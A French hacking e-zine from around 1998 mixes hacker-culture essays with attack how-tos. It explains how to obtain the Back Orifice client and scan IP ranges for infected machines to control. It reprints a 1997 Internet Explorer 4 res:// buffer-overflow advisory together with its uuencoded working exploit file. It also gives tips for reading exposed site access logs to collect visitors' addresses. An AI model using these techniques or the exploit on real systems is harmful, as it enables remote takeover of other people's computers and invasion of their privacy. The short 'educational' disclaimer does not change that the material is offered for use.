Avertissement: toutes les informations fournies sur cet E-mag sont à titres purement éducatif. Il vous est déconseillé de les utiliser sous peine d'amendes et poursuites judiciaires. Tous ce que vous ferez ne saurait m'en inquiéter et m'en rendre comme responsable! La libre diffusion de cet E-mag est autorisée à condition qu'elle soit dans un but informatif.

    Le hacking est un phénomène qui touche de plus en plus de gens partout dans le monde! De plus en plus de gens sont intéressés par cet mentalité qu'est celle du hacking... Nombre de personnes rêveraient de devenir hacker. Et nombre de personnes se font une muvaise image du hacker en général. Car en effet il faut différencier les types de pirates: Il y a:
· Les crashers: les crashers sont de dangeraux pirates qui détruisent tout pour le plaisir... cette mentalité est peut-être l'une des moins répandues, car il faut savoir que les crashers sont très souvent haïs par le milieu du piratage. A éviter donc.
· Les crackers: ils sont là pour cracker les programmes (ex: enlever le passworrd d'un file en le désassemblant pour le diffuser ensuite sur internet). Les crackers ne sont pas fondamentalement dangereux. les très bons crackers sont de véritables génies (il faut le dire) de la programmation. sans eux le réseau internet ne serait pas ce qu'il est maintenant.
· Les lamers: en général ce sont les débutants dans le milieu du piratage... Ce sont souvent les "bizus" des élites! Si vous débutez dans le milieu du H/P/C/V (hacking, cracking, phreaking etc...)essayez d'acquérir un certain niveau de connaissance seul... en général les élites du dessus n'hésiteront pas à vous filer un ou deux trojans entre quelques programmes. sauf si c'est quelqu'un que vous connaissez bien ou qui est votre ami.
· Les phreakers: le phraker est un pirate du réseau téléphonique en général... Mais il peut aussi pirater sa borne EDF, graver des cd crackés etc... En général les phreakers se mêlent rarement au milieu du hacking. Tout ce qui concerne le piratage de la ligne téléphonique du voisin pour se faire des minutes gratos ça les concerne!
 · Les hackers: ce sont les pirates du net... Les meilleurs du hacking sont quasiment inconnus. Jusqu'au jour ou ils pratent le Pentagone et qu'ils se font choper! La moyenne d'âge des hackers tourne entre 15 et 25 ans. Ils piratent n'importe quoi. Par simple défi. Par pur plaisir. Les hackers s'attaquent rarement aux autres internautes! Mais méfiez vous! Les hackers sont un peu crashers dans leur côté obscur.

   Donc c'est surtout des hackers dont nous parlerons. Il faut savoir que les médias donnent une mauvaise image du hacking, en faisant des articles diffamateurs ou en médiatisant le mauvais côté du hacking. Les médias profitent de l'ignorance que les gens ont sur le piratage pour détruire la VERITABLE image du hacker! Sans les hackers allez savoir si votre réseau internet existerait! Internet était au départ un réseau militaire. Mais les universitaires et les scientifiques en ont fait le réseau internet. Et pas les médias (qui font jamais bien leur boulot d'ailleurs :-))! Des universitaires! Donc tout ça pour vous dire que ce que les médias pourront vous raconter sur le piratage informatique ne sera pas toujours juste. Mais si on a tendance a penser que un hacker est un dangereux criminel, celui-ci aura tendance a se criminaliser; c'est psychologique. Mais les hackers sont loins d'êtres tous dangereux... certains hackent même pour prouver que aucun système de sécurité ou sytèmes d'exploitation n'est infaillible. ce qui nous permet de démontrer que Windows est une vrai "passoire" (pardonnez l'expression). Ainsi on pourrait s'imaginer que certains trous de sécurité sont volontaires. D'ailleurs Microsoft a fait en sorte que Money99 (qui n'est pas encore officiellement sorti) ne marche que si Microsoft Intenet Explorer 4 est installé! Les accusations qui se font au sujet de Bill Gates, comme quoi son but serait de détenir tout le marché de l'informatique, peuvent être considérées comme vrai! Pas à 100%. Mais il faut avouer que Microsoft est ce qu'est Coca-Cola par rapport à la grenadine. Les statistiques démontrent que Microsoft détient environ + de 90% du marché informatique, mais... pouvons nous incriminer Bill Gates? car si vous êtes pas content y'a toujours Linux ou Unix! Et vous devez aussi avoir Netscape Navigator sur votre bécane, non? Bref pour clore cette introduction je tiens quand même à vous dire que, bien que les médias arrangent les faits à leur manière, ceux-ci ne sont jamais forcément erronés.
 

    Ben... comment vous expliquer ça. Un hacker (je vais faire quand même un petit récapitulatif de ce qui a été vu plus haut), c'est un pirate qui essaie de découvrir les failles de chaque système, c'est quelqu'un qui créé des programmes de piratage etc..., par simple défi. Pas pour le fric (pas toujours: la tune tombe pas des arbres). Bref... Les hackers forment aussi une "communauté" ou l'on se doit d'être solidaire... Les hackers se tapent rarement dessus. Mais le hacking c'est aussi une mantalité. Une volonté. On ne se lance pas dans le hacking pour déconner. Non... En général on va jusqu'au bout. Rares sont ceux qui ont abandonné en cours de route. Il y a tellement de choses à découvrir dans le monde du piratage que cela revient à en découvrir un nouveau monde: l'autre côté de l'utilisation d'un ordinateur. Pas forcément le côté obscur de l'utilisation d'un ordinateur mais surtout les possibilités que ce côté peut nous offrir (si vous voyez ce que je veux dire!). Il faut savoir qu'il y a différents aspects dans le hacking! On peut facilement se les imaginer: études des différents systèmes de sécurité, création de programmes, piratage du pc d'un pauvre internaute etc... en général les très bons hackers sont appelés: Elite et sont quasiment inconnus! Si jamais vous en rencontrez un ou que vous avez judicieusement su en reconnaitre un, eh ben gardez ça pour vous. Rien de pire que de s'attirer des emmerdes, de toute la communauté hacker, qu'en dénoncant " un de l'élite". Mais un hacker c'est aussi une personne comme vous et moi! On ne doit pas s'imaginer que parce que une personne  pirate elle se différencie forcément de la société dans laquelle vous vivez. Elle est contribuable, regarde la télé (Eh oui! Ca lui arrive!), dort dans un lit, etc... mais un hacker c'est aussi une personne aimable, courtoise et pas forcément belliqueuse! Loin de toutes les idées reçues ce serait plutôt le contraire: tendance pacifique. Mais bon... Y'a des exceptions hein! Faudrait pas s'faire des illusions! (on va finir par croire que je contredis ce que j'écris!)

Transfert interrompu !

Bon eh ben lui il m'a grave fait chier! Sauf que j'appris par la suite que son copain c'était J (secret aussi), un de mes potes qui entre deux nukers lui avait filé un trojan! Alors... ce mec si vous le rencontrez et que vous reconnaissez sa manière de faire, n'hésitez pas à lui "foutre un pain sur la gueule"! J'avais manqué de tact ce jour là mais bon... De plus j'avais son tel. Il a passé un sale quart d'heure! Il a plus recommence. Mais si je vous raconte cette anectdote c'est pas pour rien. C'est pour vous démontrer que des gros cons (pardonnez l'injure mais ça défoule) orgueuilleux y'en a
partout! Revenons à nos moutons... J'ai souvent vu marqué qu'un vrai hacker se devait d'avoir Linux (dans d'autres E-mags Unix), si il voulait devenir un VRAI hacker... Mais pour en revenir à notre premier E-mag (c.f. début chapitre), celui-ci disait: "vous devez aoir Linux sinon c'est inutile d'essayer d'être hacker. Là j'ai vomi :-). Comment peut-on dire des choses aussi absurdes! On peut très bien être hacker et ne pas être sous Linux ou Unix! Pourquoi pas sous Windows95 ou Windows98! Moi je suis sous Windows95 et j'en suis fier! Bien que Linux n'est absolement pas négligeable pour hacker! Mais de là à dire que c'est l'outil qu'on se DOIT d'avoir, là non!!! Rien de plus faux! je le dis, je le répète! Et je continuerais de le répéter! J'avais aussi remarqué que les hackers (les bons et les débutants), mettaient souvent des petits signes distinctifs, dans certains mots, tel que: Micro$oft ou transformait des mots pour en faire des: zindaube, winfuke, microdobe, etc... Nous sommes loin des critères débiles du E en 3 et du O en 0! Non... Là ça a surout un caractère humouristique qui tient à démontrer que l'on se moque bien de windows et de ses trous de sécurité!
donc pour se démarquer de tous ces débiles qui prenne ça à la légère! Je vais aborder un autre type de personnes qui existent: les lamers (c.f.: chapitre1). Les lamers sont loin d'être des gros cons... Au contraire. ce sont en général des personnes qui débutent dans le milieu! Il n'est pas exclu de les aider! Il sauront vous le rendre tôt ou tard! Les lamers disent qu'ils aimeraient être hacker et demanderont au premier venu de leur enseigner pour peu que celui-ci s'y connaisse un peu. c'est pourquoi, vous recevrez souvent des messages de lamers qui vous demanderont de leur apprendre le hacking. Evitez de les envoyer balader! Il vous on rien fait ;-). Vous aussi vous avez été lamers au tout début de votre période! Vous aussi vous avez demandé à des gens de vous apprendre! Alors??? Bref... Essayez de vous démarquer des blaireaux sans pour autant ne pas vous amuser à glisser un petit Zindaube dans la conversation :-)!!! (Non. en fait je dis ça car j'aimais pas trop qu'on m'envoie promener au début de mon apprentissage!)
 

   Donc voilà comment se présente votre fenêtre NOBO qui s'ouvrira automatiquement au premier ping. En général 1/3 des personnes qui utilise BO sont elles même infectées! Maintenant il vous gaudra savoir ou télécharger BO120.zip. L'url du site de cDc (où est en téléchargement BO) est: http://www.cultdeadcow.com/tools/bo.html. Mais revenons à nos moyens de détection de BO!
(La suite de ce texte est vaguement inspiré du Pirates MAG' N°2). Bon ce qu'il faut savoir: (et ça c'est moé qui le dit). Il existe une commande netstat que l'on peut faire sous dos. Cette commande permet de surveiller les ports actifs de votre bécane! Vous allez voir le rapport entre ça et BO! Je m'explique: on peut trouver des quantités de programmes censés détecter et détruire Back Orifice. Mais la pluspart du temps, ces logiciels ne peuvent que détecter la version de base avec sa configuration par défaut (port 31337, pas de mot de passe), ou encore que dalle, ou encore vous filer BOSERVE comme BOSNIFFER. ceci est insuffisant et dangereux: on peut se croire faussement protégé. N'espérez pas détecter la présence d'un serveur (=trojan) sur votre pc en utilisant seulement le client, car, là encore, il faut connaitre le numéro de port par lequel le serveur communique avec le client (programme qui permet de pénétrer votr pc). Il faut savoir que BO peut communiquer avec le client sur tous les ports possibles. De ce fait, une recherche exhaustive va prendre environ une dizaine de minutes. Ce laps de temps est largement suffisant pour qu'un pirate fasse ce qu'il veut de la machine cible. des anti-virus, comme Norton, déclarent dans leur dernière version de pouvoir détecter BO avant même son installation... Oui, mais il ne leur est pas possible de détecter toutes les variantes, pour la bonne et simple raison qu'il en apparaît sans cesse. Et ) propos de virus, rien n'empêche de compbner la posssibilité d'autoreplication d'un virus avec BO (le truc qui fait mal aux dents!). En fait la façon la plus simple de surveiller l'état des connexions Réseau d'un pc est la commande NETSTAT. Elle permettra de savoir tout ce qui entre ou sort de la machine sur laquelle elle est lancée. Supposons que nous ayons affaire à un BO de base avec ses options par défaut (port 31337). si vous tapez dans ue fenêtre Dos: netstat -an I find "UDP", vous obtiendrez: UDP 0.0.0.0:31337, ceci indique qu'une application est en train découter tout ce qui arrive sur le port 31337, on peut donc avoir un gros soupçon!!! Eventuellement, le propriétaire du pc pourra détecter une activité suspecte (BO communiquant avec le client). Mais attention: le pirate  peut aussi très bien remplacer NETSTAT.exe par une version qui ne le trahira point ou même plus vicieux: incorporer le serveur (boserve) à NETSTAT! Ah oui, un dernier détail pour achever de vous faire froid dans le dos: rien n'empêche que plusieurs versions de BO tournent en même temps sur votre machine. Et puisqu'il ne serait pas juste que seules les victimes potentielles aient peur: sachez chers utilisateurs de BO, que toutes les données récupérées par le client sont envoyées vers l'adresse IP 209.25.3.113: vous êtes donc surveillés. de plus l'utilisation de BO est formellement interdite par la loi et saurait être passible de poursuites judiciaires. Vous voilà prévenus.

Bon maintenant parlons de Back Orifice et de son utilisation. Si vous cherchez bien sur le net vous trouverez facilement des: "comment télécharger BO, télécharger BO ici et maintenant, la vraie version de BO en téléchargement, etc...". Mais méfiez vous des contrefaçons! Qu'est ce qui vous garantit que votre cher BO en téléchargement n'est pas un virus ou boserve (qui est le trojan)? Ben va falloir apprendre à distinguer les vraies versions des fausses! Si vous télécharger BO sur le net il faut savoir que le zip s'appelle: bo120.zip, sinon vous virez! BO est trop dangereux pour qu'on prenne ça à la légère! Le zip de Back Orifice fait 278 ko. Et voilà comment se présente la fenêtre de décompression de BO:

Alors ici on remarque plusieurs sortes de programmes: bogui, boserve, boclient etc... Tout vous sera expliqué dans la notice du nom de "bo.txt". IL NE FAUT SURTOUT PAS EXECUTER BOSERVE (je me répète mais on est jamais trop prudent!). Si vous ne le savez toujours pas: boserve est le trojan, plus couramment sous le nom qu'on donne au terme général de "trojan", c'est le serveur. Bogui et boclient sont les programmes qui communiquent avec le serveur, appelés plus couramment clients. les autres programmes sont moins importants. Si vous connaissez une personne infectée par le serveur alors éxécutez bogui et rentrer son IP, puis faites: ping host. Si la personne répond à l'autre bout un message : "!PONG!"+ le nom de l'utilisateur s'affichera sur votre fenêtre bogui. Mais comment savoir si c'est bien bogui que vous regardez? Simple bogui resssemble à ceci une fois éxécuté:

 Donc si c'est ce que vous voyez, plus de dute, vous avez bien la bonne version! Je vous passe les détails d'utilisation de BO car tout vous sera expliqué dans la doc. Mais sachez que vous pouvez scanner tous les gens dont l'IP commence par un certain nombre (là c'est confus et je m'explique). Imaginez que vous ayez personne à pinger. Le meilleur moyen de ping et d'avoir plus de chnaces de tomber sur des personnes infectées et de rentrer dans "target:host port cet IP (par exemple): 193.193.*.* bogui s'amusera alors à scanner tous les IP commençant par: 193.193 ce qui vous donne une grande marge. Mais le scanne sera long il sera plus utile de faire: 193.193.193.*, vous avez moins de chances de trouver d'infectés mais le scann se fera plus vite. Bogui scane le port par défaut (c'est à dire 31337). Seules les personnes infectées sur ce port répondront par PONG. Mais si vous scannez toute une série d'IP en faisant *.* et que dans cette série se trouve un IP d'utilisateur qui possède NOBO, alors la personne usant de NOBO aura votre IP et vous verrez un message s'afficher dans la partie d'écrit. Il faut savor que de plus en plus de gens ont NOBO; ce qui n'a pas pour but de faciliter l'utilisation de BO.
 

 ========
 Scenario
 ========

  The Microsoft Internet Explorer 4.0 Suite, including all programs supplied
  with it that read and/or process HTML from either local machines, intranet
  machines, or remote internet machines are subject to a buffer overflow in the
  HTML decoding process. The buffer overflow can cause the application to page
  fault, or in the worst case, execute arbitrary precompiled native code.

 =======
 Example
 =======

  1. Copy the supplied HTML file(s) into a location that is accessible via the
     target application.
  2. Point to it. Look at it.
  3. Click on the link. (or let someone click it for you)
  4. Become aware of what happens to your machine.
  5. Freak out and beg Microsoft to make the bad man stop.

 =================
 Technical Details
 =================

  The problem here lies in the deciphering of the URL line format itself. The
  base HTML library that is used by the Internet Explorer 4.0 Suite and the
  following programs are vulnerable:

        - Outlook Express (both mail and news)
        - Windows Explorer
        - Internet Explorer (different than regular explorer, really)

  This problem, because it stems from a programming flaw in the HTML decoding
  system, is unaffected by the Explorer "Security Zones" feature. In other
  words, if you turn on the highest security level for the zone from where the
  exploit HTML is being viewed, you are still vulnerable.

  The critical problem here is a buffer overflow in the parsing of a particular
  new type of URL protocol. The "res://" type of URL is meant to allow access
  to a local resource embedded in a local DLL file. This is useful for
  archiving entire websites into a DLL and is not, in its truest concept, a
  security flaw.

  For example, to read something out of the IE4.0 Tour (stored in a DLL) try
  the following URL: res://ie4tour.dll/page1-6.htm

  The buffer overflow is on the actual filename specified. To crash your
  machine go ahead and try res://blahblahblah ... blahblah/ in your Internet
  Explorer window where the amount of 'blah' equals 265 characters.

  The function that goes through the filename and validates it is flawed on
  Windows 95. Without checking the length, the filename is uppercased,
  concatenated with '.DLL' if it isn't there already, and in the process,
  copied into a fixed size buffer.

 ========
 Solution
 ========

  Currently, there is no solution available for this flaw. You can't set any
  Internet Explorer options to avoid it, and you are not protected by any
  level of zone security. Simply don't surf the web, read email or view
  net news using Internet Explorer 4.0 until Microsoft puts up a hotfix.

 ============
 Exploit Code
 ============
 

    Here we go...
    When constructing the exploit we want to try something useful.
    Lets's start with appending text of your choice to AUTOEXEC.BAT...
    (note that running native code lets you do pretty much anything you want)

    Note that the location of the exploit string in the stack is very important
    and it varies from target application to target application.

    Constructing the exploit string:
    Figure out stack location for exploit code...

        App                     Loc
        Internet Explorer       0x0057C144
        Windows Explorer        0x0088A0F4
        ...

    Yeah, I know that those locations have null bytes in them and you can't
    put those (or lowercase letters, or CR/LF or 0x07 or anything like that)
    in the exploit string... but we'll let microsoft fix that for us. Step thru
    the process to see IE add that extra null character for you. Will they
    ever cease to amaze...

    Put together what you wanna do, tack on the necessary jump addresses and
    all that. That's it.
 

And now, UUENCODED to preserve freshness:

*************************************************************************
* MAKE SURE YOU RUN THIS EXPLOIT WITH __INTERNET__ EXPLORER, _NOT_      *
* REGULAR OL' WINDOWS EXPLORER. (put it on a website and download it or *
* click on the IE desktop icon (run iexplore.exe) and type in the name  *
* of the file into the URL line)  IT WON'T WORK OTHERWISE!!!!           *
*                                (though it could be made to do so)     *
*************************************************************************

----====/ SNIP

section 1 of uuencode 5.20 of file infect.htm    by R.E.M.

begin 644 infect.htm
M/&AT;6P^#0H\:&5A9#X-"CQT:71L93X-"DEN=&5R;F5T($5X<&QO:71E<@T*
M/"]T:71L93X-"CPO:&5A9#X-"CQB;V1Y(&)G8V]L;W(](T9&1D9&1B!T97AT
M/2,P,#`P,#`^#0H-"CQC96YT97(^#0H\:#$^5VAA="!D;R!)('=A;G0@=&\@
M:6YF96-T('1O9&%Y/SPO:#$^#0H-"D-L:6-K(&AE&5C+F)A=#QP/@T*#0H\82!H_@.^`
_]-:6E"0D#/;LP)3@^L$4U"[X(#YO__3@^P,D%A0
M,]NS.5.[#-+G$('K$!"0$%-0N[#*^;__TX/$#)"0D)"[SX#YO__3D)"0N["O
M^+__TY"0D,S,+2TM+2TM+2TM+2TM+4,Z7$%55$]%6$5#+D)!5("-BD5#2$\@
M34E#4D\D3T94(#!73EH@64]5+BXN(%)%4$5.5"!!3D0@0D4@4T%6140AC8I0
M055318V*@"TM+2TM+2TM+2TM+2TM+2U!04%!0D)"0D,!(+Z_1$1$143!5R\-
M"B(^#0H\9F]N="!F86-E/2)7:6YG9&EN9W,B('-I>F4]*S8^_SPO9F]N=#X\
M9F]N="!S:7IE/2LV/CT\+V9O;G0^/&9O;G0@9F%C93TB5VEN9V1I;F=S(B!S
M:7IE/2LV/B9G=#PO9F]N=#X-"CPO83X-"@T*/"]C96YT97(^#0H-"CPO8F]D
->3X-"CPO:'1M;#X-"CX-
`
end
sum -r/size 62455/917 section (from "begin" to "end")
sum -r/size 5779/643 entire input file

/====---- SNIP
 

A haiku:

 Microsoft IE
 Is there no security?
 Not if you ask me.

dildog@l0pht.com (11/1/97)

   -  Vous faîtes des pages HTML pour votre site internet? ce script est à installer au début:
<BODY>
<script language='JavaScript'>
function closeit()
{
  if (navigator.appName == "Microsoft Internet Explorer")
      self.close()
}
</script>
Tout navigateur de type Microdoft Internet Explorer qui digère le javascript sera automatiquement fermé.

   -(source: Pirates Mag) J'utilise le programme MS WORKS 1.05 en version française pour Dos. Malheureusement, suite à plusieurs plantages disques dus aux applications utilisées, j'ai du réinstaller à chaque fois ce programme. Aujourd'hui le compteur est à zéro et je ne peuc plus rien faire. Pire, Microsoft ne peut (ou ne veut) rien faire pour moi. Avez vous une solution? Anonyme.

La position de Microsoft est déplorable. Et comme nous n'avons pas pu non plus obtenir plus d'informations de la part du support technique, nous vous proposons notre propre solution que nous avons trouvée en éxaminant votre disquette. Sous Dos, copiez l'intégralité de la disquette dans le répertoire de votre choix avec la commande XCOPY A: nom_répertoire (répondre par oui aux questions posées). Allez dans ce répertoire en tapant  nom_répertoire Tapez maintenant les commandes suivantes:
MD ^~
ATTRIB +R +H ^~
MD _~
ATTRIB + R+H _~
Works peut maintenant fonctionner à partir de votre disque dur! Si vous voulez l'effacer, tapez:
ATTRIB -R -H ^~
RD ^~
ATTRIB -R -H _~
RD _~
 
   - Vous naviguez sur le net, quand soudain vous voyez un site dont l'url est: (je dis n'importe quoi mais c'est pour un exemple) http://www.multimania.com/08/tioto/info/user/index.htm. A première vue cela ressemble à un url comme un autre un peu long, mais des url long y'en a partout, me direz-vous! Eh ben, petite astuce si le mec se débrouille pas trop bien pour faire ses pages: vous remettez l'url en retirant à chaque fois un segment ce qui donnera  http://www.multimania.com/08/tioto/info/user/ et vous tapez: enter... soit le navigateur affiche: erreur ,soit il affiche accès interdit, soit il vous met à une page html, ou bien encore (et c'est là que ça nous intéresse) il vous mets des répertoires. Des répertoires? Oui... En faisant cette manip vous avez environ 1/3 ou un 1/4 des sites qui vous mettront tout ce qui est passé en ftp. C'est à dire même des images non visibles sur le site, ou des liens que l'on ne voit pas sur le site, etc... Imaginez que vous tombez sur un site cochon qui n'en a pas l'air! Hein? Mais si la manip marche pas continuez à retirer des segments jusqu'à arriver au serveur!

   - Accéder au compte ftp d'un site: prenons l'exemple d'un site quelconque! Je prends: http://www.hackers.com qui est un site vachement merdique. En allant sur son compte ftp par cet url: ftp://www.hacker.com on a: Current directory is /

  bin/                              Wed Oct 30 00:00:00 1996 Directory
  pub/                              Tue Jun  3 00:00:00 1997 Directory

alors on évolue en cliquant sur pub et on trouve des trucs de hack! Ce que le site lui même ne laisse pas paraître! cela donne:
Current directory is /pub

Up to higher level directory
  acrobat/                          Tue Dec 17 00:00:00 1996 Directory
  doc/                              Mon Oct 10 00:00:00 1994 Directory
  mac/                              Fri Jul 25 00:00:00 1997 Directory
  msdos/                            Mon Mar  4 00:00:00 1996 Directory
  phoenix/                          Thu Jan 19 00:00:00 1995 Directory
  text_files/                       Thu Dec 22 00:00:00 1994 Directory
  users/                            Sat Nov 14 01:20:00 1998 Directory
  windows/                          Tue Jun  3 00:00:00 1997 Directory
 
et si on va dans msdos on a:

Current directory is /pub/msdos

Up to higher level directory
  compress/                         Thu Aug 21 00:00:00 1997 Directory
  games/                            Mon Mar  4 00:00:00 1996 Directory
  term_progs/                       Tue Nov  1 00:00:00 1994 Directory
  uuencode/                         Thu Sep  8 00:00:00 1994 Directory

Qui ne sont autres que des répertoires de hack!

Voyez donc l'utilisation que vous pouvez faire de cet astuce! Intéressant non?

   - Accéder aux statistiques d'un site: il y a très peu de sites ou vous pourrez accéder aux statistiques. Tapez (c'est un exemple): http://www.xxxxxx.com/stats Vous atterrirez sur une page avec les statistiques du site qui se présente comme ça:
Index of /stats

    Name                   Last modified     Size  Description
 

    Parent Directory       23-Sep-98 16:48      -
    DailyHitStats.gif      07-Nov-98 02:02     3k
    DailyVolumeStats.gif   07-Nov-98 02:02     4k
    HourlyHitStats.gif     07-Nov-98 02:02     4k
    HourlyVolumeStats.gif  07-Nov-98 02:02     4k
    TopLevelDomainHitStat..07-Nov-98 02:02     2k
    TopLevelDomainVolumeS..07-Nov-98 02:02     2k
    TopNDomainsHitStats.gif07-Nov-98 02:02     3k
    TopNDomainsVolumeStat..07-Nov-98 02:02     3k
    TopNFilesHitStats.gif  07-Nov-98 02:02     4k
    TopNFilesVolumeStats...07-Nov-98 02:02     4k
    access_log             07-Nov-98 19:13     4k
    error_log              15-Oct-98 19:16     5k
    graph.html             07-Nov-98 02:02     4k
    httpstats.html         07-Nov-98 02:02     9k
    stats-xxxx-98_Aug.ta..01-Sep-98 05:32     1k
    stats-xxxx-98_Jul.ta..01-Aug-98 05:30     1k
    stats-xxxx-98_Jun.ta..01-Jul-98 05:32     1k
    stats-xxxx-98_Oct.ta..01-Nov-98 05:33     1k
    stats-xxxx-98_Sep.ta..01-Oct-98 05:33     1k
 Je garde le nom secret pour pas qu'il y ait de petits malins qui viennent envahir les stats d'un site. En fait celui-ci je me le garde ;-). Maintenant vous tapez: http://www.xxxx.com/stats/access_log, et vous obtenez:
web4.infonie.fr - - [05/Nov/1998:10:32:18 +0100] "GET / HTTP/1.0" 200 3767
web4.infonie.fr - - [05/Nov/1998:10:32:19 +0100] "GET /probate2.jpg HTTP/1.0" 200 706
web4.infonie.fr - - [05/Nov/1998:10:32:20 +0100] "GET /soiseau.gif HTTP/1.0" 200 2333
web4.infonie.fr - - [05/Nov/1998:10:32:20 +0100] "GET /pismo.jpg HTTP/1.0" 200 1272
web4.infonie.fr - - [05/Nov/1998:10:32:21 +0100] "GET /ilogofi.gif HTTP/1.0" 200 3645
web4.infonie.fr - - [05/Nov/1998:10:32:32 +0100] "GET /devis.htm HTTP/1.0" 200 5558
195.68.45.51 - - [06/Nov/1998:15:15:53 +0100] "GET / HTTP/1.0" 200 3767
195.68.45.51 - - [06/Nov/1998:15:15:54 +0100] "GET /ilogofi.gif HTTP/1.0" 200 3645
195.68.45.51 - - [06/Nov/1998:15:15:54 +0100] "GET /probate2.jpg HTTP/1.0" 200 706
195.68.45.51 - - [06/Nov/1998:15:15:54 +0100] "GET /pismo.jpg HTTP/1.0" 200 1272
195.68.45.51 - - [06/Nov/1998:15:15:54 +0100] "GET /soiseau.gif HTTP/1.0" 200 2333
195.68.45.12 - - [06/Nov/1998:15:35:46 +0100] "GET / HTTP/1.0" 200 3767
195.68.45.12 - - [06/Nov/1998:15:35:46 +0100] "GET /ilogofi.gif HTTP/1.0" 200 3645
195.68.45.12 - - [06/Nov/1998:15:35:47 +0100] "GET /probate2.jpg HTTP/1.0" 200 706
195.68.45.12 - - [06/Nov/1998:15:35:47 +0100] "GET /pismo.jpg HTTP/1.0" 200 1272
195.68.45.12 - - [06/Nov/1998:15:35:47 +0100] "GET /soiseau.gif HTTP/1.0" 200 2333
195.68.45.12 - - [06/Nov/1998:15:36:26 +0100] "GET /service.htm HTTP/1.0" 200 2004
195.68.45.12 - - [06/Nov/1998:15:36:26 +0100] "GET /ibuton.gif HTTP/1.0" 200 1113
195.68.45.12 - - [06/Nov/1998:15:36:41 +0100] "GET /devis.htm HTTP/1.0" 200 5558
195.68.45.12 - - [06/Nov/1998:15:37:23 +0100] "GET /index.htm HTTP/1.0" 200 3767
193.252.201.13 - - [07/Nov/1998:01:31:22 +0100] "GET / HTTP/1.1" 200 3767
193.252.201.13 - - [07/Nov/1998:01:31:23 +0100] "GET /soiseau.gif HTTP/1.1" 200 2333
193.252.201.13 - - [07/Nov/1998:01:31:23 +0100] "GET /probate2.jpg HTTP/1.1" 200 706
193.252.201.13 - - [07/Nov/1998:01:31:23 +0100] "GET /pismo.jpg HTTP/1.1" 200 1272
193.252.201.13 - - [07/Nov/1998:01:31:23 +0100] "GET /ilogofi.gif HTTP/1.1" 200 3645
zanussi.netcraft.co.uk - - [07/Nov/1998:10:26:41 +0100] "HEAD / HTTP/1.1" 200 0
troy3-86.abo.wanadoo.fr - - [07/Nov/1998:11:06:15 +0100] "GET / HTTP/1.1" 200 3767
troy3-86.abo.wanadoo.fr - - [07/Nov/1998:11:06:16 +0100] "GET /soiseau.gif HTTP/1.1" 200 2333
troy3-86.abo.wanadoo.fr - - [07/Nov/1998:11:06:16 +0100] "GET /probate2.jpg HTTP/1.1" 200 706
troy3-86.abo.wanadoo.fr - - [07/Nov/1998:11:06:17 +0100] "GET /pismo.jpg HTTP/1.1" 200 1272
troy3-86.abo.wanadoo.fr - - [07/Nov/1998:11:06:18 +0100] "GET /ilogofi.gif HTTP/1.1" 200 3645
troy3-86.abo.wanadoo.fr - - [07/Nov/1998:11:06:51 +0100] "GET /service.htm HTTP/1.1" 200 2004
troy3-86.abo.wanadoo.fr - - [07/Nov/1998:11:06:52 +0100] "GET /ibuton.gif HTTP/1.1" 200 1113
troy3-86.abo.wanadoo.fr
(J'ai raccourci en ne laissant que 2 ou 3 exemples sinon cet E-mag serait 2 fois plus gros que maintenant)
Vous obtiendrez ici soit l'IP de la personne soit des infos sur elle. Comme troy3-86.abo.wanadoo.fr, et si vous avez un tracer d'ip comme WSPINGPR alors vous aurez l'ip de la personne.
Mais si on prend un accès protégé, voilà ce que ça donne, l'url étant: http://www.baguette.com/stats: le navigateur affiche un écran pour login et password.
J'ai fait annuler et voilà ce que ça a donné:

Authorization Required

This server could not verify that you are authorized to access the document you requested. Either
you supplied the wrong credentials (e.g., bad password), or your browser doesn't understand how
to supply the credentials required.

C'est tout ce que je peux vous dire sur les statistiques d'un site.

   - Le registre d'adresses contient 16 bits pour coder  64 ko, soit 65 536 (2^20 (2 exposant 20)
= 1 048 567). Mais les composants ne permettaient pas d'utiliser complètement deux registres d'adresse. Du coup, voilà comment votre ordinateur calcule une adresse en mémoire. Il possède quand même deux registres d'adresses de 16 bits. L'un correspond au segment, l'autre à l'offset. Une adresse est un couple segment/offset. Le calcul de l'adresse se fait en opérant un décalage de 4 bits vers la gauche su registre de segment puis d'une addition binaire avec le registre offset. Le résultat est sur 20 bits et permet d'adresser 1Mo. Cette technique, si elle aboutit au résultat voulue, est d'un grand gâchis. Beaucoup d'adresses se recouvrent, elles sont accessibles par plusieurs couples de segment/offset. Ainsi les valeurs (notation segment:offset) 2 :0, 1: 16, 0:32 aboutissent toutes à la case d'adresse 32.
 
 

 2) D'après le BSA, la France est le pays qui connaît le taux de piratage le plus élevé d'Europe. Il serait parvenu à 44 % en 1996. Le BSA ayant un grand coeur, c'est bien connu, souhaiterait faire baisser ce pourcentage à un niveau considérable, soit passer sous le seuil des 27 % d'ici l'an 2001. Toujours d'aprrès la boule de cristal du BSA, cette baisse permettrait de créer 260 000 nouveaux emplois. Mais ont-ils compté les pirates qui perdraient leur boulot?

 3) 2 jeunes hackers anglais âgés de 17 et 18 ans, membres de milw0rm, ont pu accéder illégalement au système informatique du Barc, le centre de recherche de Bhabha responsable des essais nucléaires en Inde, au mois  de mai 98 dernier. Les pirates ont modifié la page d'accueuil du site informatique du centre de recherche et auraient réussi à voler les courriers électroniques des savants, avant et après les essais. Désamorcer des bombes par des mail-bombers, fallait y penser!

 4) Le président du commissariat indien à l'énergie atomique (AEC) R.Chidambaram, a nié que son pays ait été victime d'un acte de "piraterie informatique" fin mai, à l'encontre du centre de recherche Bhabha (Barc) responsable des essais nuvléaires indiens qui ont bien failli déclencher une guerre en Asie du Sud-Est. "Non c'est absurde. Ils n'ont rien obtenu!", a-t-il déclaré. Absurde? Pour nous l'absurde, c'est plutôt un mec qui dépense des millions de dollars pour faire péter des bombes au lieu de nourrir un peuple qui crève de faim.

 5) Anastasia, Barbara, Marilyn, Cindy, tant de rencontres sur le net! Mais attention, la rencontre réelle est parfois décevante. C'est l'histoire d'un Hollandais qui descendait d'un avion dans le New Hampshire avec un poireau à la main (vous avez mieux pour vous reconnaître?). Il devait rencontrer un jeune garçon avec lequel il avait conversé sur le net. Comme cadeau de bienvenue, il reçut des bracelets aux poignets. Le jeune ami était en réalité un agent du FBI (Mulder est dans le coup!).

